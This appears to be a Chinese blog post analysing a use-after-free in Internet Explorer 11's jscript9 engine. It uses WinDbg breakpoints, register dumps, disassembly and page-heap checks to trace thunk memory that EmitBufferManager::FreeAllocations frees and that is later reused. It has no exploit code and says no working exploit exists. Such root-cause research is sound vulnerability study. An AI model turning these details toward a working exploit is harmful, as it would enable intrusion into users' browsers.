0:005> dd poi(poi(05aaa140+0x14)+0x10)+0x4
05a49124 63e06d2e 00000003 00000000 05a49120
在这里可以下一个内存写入断点,看看什么时候被改写了:
0:005> ba w 4 05a49124
0:005> g
Breakpoint 0 hit
eax=05a88b70 ebx=05aaa140 ecx=00000003 edx=032aa578 esi=00000003 edi=032aa734
eip=63e0631b esp=032aa564 ebp=032aa568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff call jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:005> g
Breakpoint 1 hit
eax=05a50000 ebx=63e06d2e ecx=05a49164 edx=05a50fcf esi=05a49120 edi=05a49164
eip=63e06cdf esp=032aa520 ebp=032aa548 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x21:
63e06cdf f605c0fc1a6404 test byte ptr [jscript9!Microsoft_JScriptEnableBits (641afcc0)],4 ds:0023:641afcc0=00
0:005> dd poi(poi(05aaa140+0x14)+0x10)+0x4
05a49124 05a50000 00000003 00000000 05a49120
真正的写入发生在上一句mov语句,这时的esi为05a49120,eax为05a50000:
0:005> ub . L5
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0xf:
63e06ccd 8b4e20 mov ecx,dword ptr [esi+20h]
63e06cd0 57 push edi
63e06cd1 8b89a8040000 mov ecx,dword ptr [ecx+4A8h]
63e06cd7 e8f8000000 call jscript9!InterpreterThunkEmitter::GetNextThunk (63e06dd4)
63e06cdc 894604 mov dword ptr [esi+4],eax
而eax里的是上一个call的返回值,也就是InterpreterThunkEmitter::GetNextThunk的返回值,这次在63e06cd7下断点,会触发五次,最后一次时步入函数:
0:005>
eax=00000000 ebx=63e06d2e ecx=02477098 edx=7f219000 esi=041a9120 edi=041a9164
eip=63e06dda esp=02caaa60 ebp=02caaa64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!InterpreterThunkEmitter::GetNextThunk+0x6:
63e06dda 8bf1 mov esi,ecx
0:005>
eax=00000000 ebx=63e06d2e ecx=000001f7 edx=7f219000 esi=02477098 edi=041a9164
eip=63e06df5 esp=02caaa60 ebp=02caaa64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!InterpreterThunkEmitter::GetNextThunk+0x1d:
63e06df5 8b8620010000 mov eax,dword ptr [esi+120h] ds:0023:024771b8=05310000
由于这个函数是__thiscall,所以ecx就是this指针,63e06df5就是把类的一个成员赋给了eax。
为IE开启堆页,命令是:
C:\Users\sevie>"C:\Program Files\Debugging Tools for Windows (x86)\gflags.exe" /
i "C:\Program Files\Internet Explorer\iexplore.exe" +hpa
再次下断点调试,看看这里堆的情况:
0:005>
eax=00000000 ebx=63e06d2e ecx=000001f7 edx=7f64a000 esi=0567aed0 edi=081cf164
eip=63e06df5 esp=0526a550 ebp=0526a554 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript9!InterpreterThunkEmitter::GetNextThunk+0x1d:
63e06df5 8b8620010000 mov eax,dword ptr [esi+120h] ds:0023:0567aff0=08190000
0:005> !heap -p -a 0567aed0+0x120
address 0567aff0 found in
_DPH_HEAP_ROOT @ 22c1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
22c4d68: 567aed0 12c - 567a000
这时eax指向的内容还没有被释放,是一段函数代码:
0:005> u poi(0567aed0+0x120)
08190000 55 push ebp
08190001 8bec mov ebp,esp
08190003 8b4508 mov eax,dword ptr [ebp+8]
那我们要找到这段内存是如何释放的,还是回到63e06cd7断点处,这次不进入函数,步过后那段内存并没有被释放,为了弄清楚在哪里被释放,给this指针和那段uaf的内存下访问断点:
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=63e06d2e ecx=053d0ed0 edx=7fa59000 esi=078e8120 edi=078e8164
eip=63e06cd7 esp=04cbaa8c ebp=04cbaab8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x19:
63e06cd7 e8f8000000 call jscript9!InterpreterThunkEmitter::GetNextThunk (63e06dd4)
0:005> p
eax=09f90000 ebx=63e06d2e ecx=078e8164 edx=09f90fcf esi=078e8120 edi=078e8164
eip=63e06cdc esp=04cbaa90 ebp=04cbaab8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
jscript9!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x1e:
63e06cdc 894604 mov dword ptr [esi+4],eax ds:0023:078e8124={jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk (63e06d2e)}
0:005> d poi(053d0ed0+0x120)
09f90000 55 8b ec 8b 45 08 8b 40-14 8b 48 44 8d 45 08 50 U...E..@..HD.E.P
0:005> ba r1 053d0ed0
0:005> ba r1 09f90000
0:005> g
Breakpoint 1 hit
eax=053d0fe8 ebx=00000000 ecx=053d0ed0 edx=00000000 esi=07876238 edi=053d0ed0
eip=63f6341a esp=04cbc4f0 ebp=04cbc4fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!EmitBufferManager::FreeAllocations+0xf:
63f6341a 85f6 test esi,esi
0:005> d poi(053d0ed0+0x120)
09f90000 8bec8b55 408b0845 44488b14 5008458d
...
0:005>
eax=053d0edc ebx=00000000 ecx=053d0fb8 edx=07876208 esi=053d0ed0 edi=053c48c0
eip=63f6342d esp=04cbc500 ebp=04cbc538 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript9!EmitBufferManager::FreeAllocations+0x1e:
63f6342d c20400 ret 4
0:005> d poi(053d0ed0+0x120)
09f90000 ???????? ???????? ???????? ????????
断点触发时,09f90000还没有被释放,函数返回时已经被释放了,内存就是用FreeAllocations来释放,在EmitBufferManager类中还有NewAllocation函数,应该是分配内存的函数。
总结
所以漏洞的成因应该是在内存被FreeAllocations释放后又在JavascriptFunction::CallFunction<1>中使用而造成的UAF。由于这个漏洞的返回地址不可控,所以要用堆喷的方法的话可能还需要结合其他方法来绕过DEP和ASLR,暂时网上也没有成功的exp,在分析过程中参考了:https://blog.vectra.ai/blog/microsoft-internet-explorer-11-zero-day
本文暂时没有评论,来添加一个吧(●'◡'●)